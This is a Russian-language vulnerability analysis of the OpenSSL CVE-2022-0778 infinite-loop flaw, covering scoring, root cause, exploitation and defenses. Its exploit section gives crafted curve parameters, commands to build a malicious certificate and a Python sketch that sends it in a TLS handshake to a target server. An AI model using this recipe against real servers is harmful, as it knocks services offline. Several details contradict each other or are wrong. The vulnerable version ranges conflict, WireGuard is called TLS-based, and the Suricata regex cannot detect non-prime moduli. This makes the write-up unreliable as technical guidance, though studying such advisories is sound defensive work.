
Уязвимость BDU:2022-01315 (CVE-2022-0778) OpenSSL
Уязвимость BDU:2022-01315 (CVE-2022-0778) в функции BN_mod_sqrt()
библиотеки OpenSSL позволяет вызвать бесконечный цикл при обработке специально сконструированных сертификатов с не простыми модулями в параметрах эллиптических кривых. Это приводит к отказу в обслуживании (DoS) в сервисах, использующих OpenSSL для разбора сертификатов (TLS-серверы, центры сертификации, VPN).
Анализ уязвимости
Уровень опасности: 7.5 HIGH
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
-
AV:N (Attack Vector: Network) - Атака через сеть: эксплуатация возможна удалённо без физического доступа.
-
AC:L (Attack Complexity: Low) - Низкая сложность: атака не требует сложных условий.
-
PR:N (Privileges Required: None) - Нет требований к привилегиям: атакующий не нуждается в учётных данных.
-
UI:N (User Interaction: None) - Без взаимодействия: пользователю не нужно совершать действий.
-
S:U (Scope: Unchanged) - Область воздействия неизменна: влияет только на целевой компонент.
-
C:N (Confidentiality: None) - Нет влияния на конфиденциальность.
-
I:N (Integrity: None) - Нет влияния на целостность.
-
A:H (Availability: High) - Высокое влияние на доступность: полный отказ сервиса.
Условия эксплуатации:
-
Целевая система использует уязвимые версии OpenSSL (1.0.2–1.0.2zd, 1.1.1–1.1.1m, 3.0.0–3.0.1).
-
Сервис обрабатывает внешние сертификаты:
-
TLS-серверы, проверяющие клиентские сертификаты.
-
Центры сертификации (CA), обрабатывающие запросы CSR.
-
Приложения, использующие
BN_mod_sqrt()
(например, для распаковки точек эллиптических кривых).
-
-
Атакующий может передать вредоносный сертификат через:
-
TLS handshake (как клиентский/серверный сертификат).
-
Загрузку в CA-системы (например, панели управления веб-хостов).
Не требуется доступ во внутреннюю сеть.
-
Уязвимые версии
- OpenSSL от 3.0.0 до 3.0.2
- OpenSSL от 1.1.1 до 1.1.1n
- OpenSSL от 1.0.2 до 1.0.2zd
Технический анализ уязвимости
Корень проблемы: Функция BN_mod_sqrt()
реализует алгоритм Тонелли-Шенкса для вычисления квадратного корня по модулю простого числа. При передаче составного модуля (не простого числа) алгоритм входит в бесконечный цикл из-за отсутствия проверки простоты:
// Уязвимый код (OpenSSL до патча) i = 1; while (!BN_is_one(t)) { i++; if (i == e) goto end; // Проверка не срабатывает при составном p BN_mod_mul(t, t, t, p, ctx); // Бесконечный цикл! }
Почему это происходит:
Алгоритм предполагает, что модуль p
простой. При p = 697
(17×41) и значении a = 696
условие BN_is_one(t)
никогда не выполняется, так как порядок мультипликативной группы модуля не совпадает с p-1
.
Анализ эксплоитов
Рассмотрим код эксплоитов для понимания работы вектора атаки с использованием уязвимости CVE-2022-0778.
1. Создание вредоносного сертификата
Цель: Генерация сертификата с параметрами, вызывающими бесконечный цикл в BN_mod_sqrt()
.
Шаги:
-
Параметры кривой:
p = 697 # Составной модуль (17×41) a = 23 # Коэффициент кривой b = 0 # Коэффициент кривой base_point = (8, 0) # Сжатая точка генератора (X=8, Y не вычисляется)
-
Инструменты:
-
Ручное редактирование ASN.1 структур через
xxd
или автоматизация с asn1template:./asn1template.pl cert.der > cert.tpl # Изменяем параметры в cert.tpl: field36 = INTEGER:0x2B9 # p=697 field37 = OCTETSTRING:0x17 # a=23 field38 = OCTETSTRING:0x00 # b=0 field32 = OCTETSTRING:0x030008 # Сжатая точка (X=8) openssl asn1parse -genconf cert_new.tpl -out crafted.der
-
Результат: Сертификат crafted.der
при разборе через openssl x509 -in crafted.der -text
вызывает 100% загрузку CPU.
2. Эксплуатация через TLS
Цель: Перехват TLS handshake для подмены клиентского сертификата.
Код на Python (с использованием tlslite-ng
):
class CraftedTLSConnection(TLSConnection): def _clientKeyExchange(self, ...): if server_requested_cert: crafted_cert = load_der("crafted.der") self._sendMsg(CraftedCertificate(crafted_cert)) # Отправка вредоносного сертификата # Запуск атаки: sock = socket.connect((target, 443)) conn = CraftedTLSConnection(sock) conn.handshakeClientCert() # Инициируем рукопожатие
Условия:
-
Сервер запрашивает клиентский сертификат (например, корпоративные VPN/API).
-
Сервер использует уязвимую OpenSSL.
Возможные последствия
-
Отказ в обслуживании (DoS): Процесс OpenSSL уходит в бесконечный цикл (100% CPU), останавливая обработку запросов.
-
Масштабируемость: Один сертификат может вывести из строя несколько сервисов (TLS-серверы, CA, клиенты).
-
Примеры уязвимых систем:
-
Веб-серверы (Apache/nginx с клиентской аутентификацией).
-
VPN (OpenVPN, WireGuard с TLS).
-
Почтовые серверы (SMTP с STARTTLS).
-
Способы защиты
-
Обновление OpenSSL:
-
OpenSSL 1.1.1n+
-
OpenSSL 3.0.2+
-
OpenSSL 1.0.2zd.
-
-
Фильтрация сертификатов на уровне WAF/IPS:
Правило для Suricata (детектирование параметров с составным модулем):alert tls any any -> any any ( msg: "CVE-2022-0778: Malicious Certificate in TLS Handshake"; tls.certificate; content: "|30 82|"; depth: 2; # ASN.1 SEQUENCE content: "|06 07 2A 86 48 CE 3D 02 01|"; # OID explicitPrime (1.2.840.10045.1.1) content: "|02|"; within: 100; # INTEGER (поле Prime) regex: "/\x02\x02[\x00-\xFF](?!\x00\x01\x00\x01)/"; # Детектирование не простых чисел sid: 20220778; )
Условия срабатывания:
-
Сертификат содержит явные параметры кривой (OID 1.2.840.10045.1.1).
-
Поле
Prime
не является простым числом (проверка регулярным выражением).
-
-
Отключение опасных фич:
-
Для TLS-серверов: отключите клиентскую аутентификацию, если она не требуется.
-
В OpenSSL: запретите сжатые точки через
-conv_form uncompressed
при генерации ключей.
-
Заключение
BDU:2022-01315 (CVE-2022-0778) — критическая уязвимость DoS, затрагивающая фундаментальные компоненты OpenSSL. Её эксплуатация тривиальна, но последствия ограничиваются отказами в обслуживании. Ключевая мера защиты — обновление библиотеки. WAF/IPS могут использоваться для блокировки известных шаблонов вредоносных сертификатов, но не заменяют патчинг.
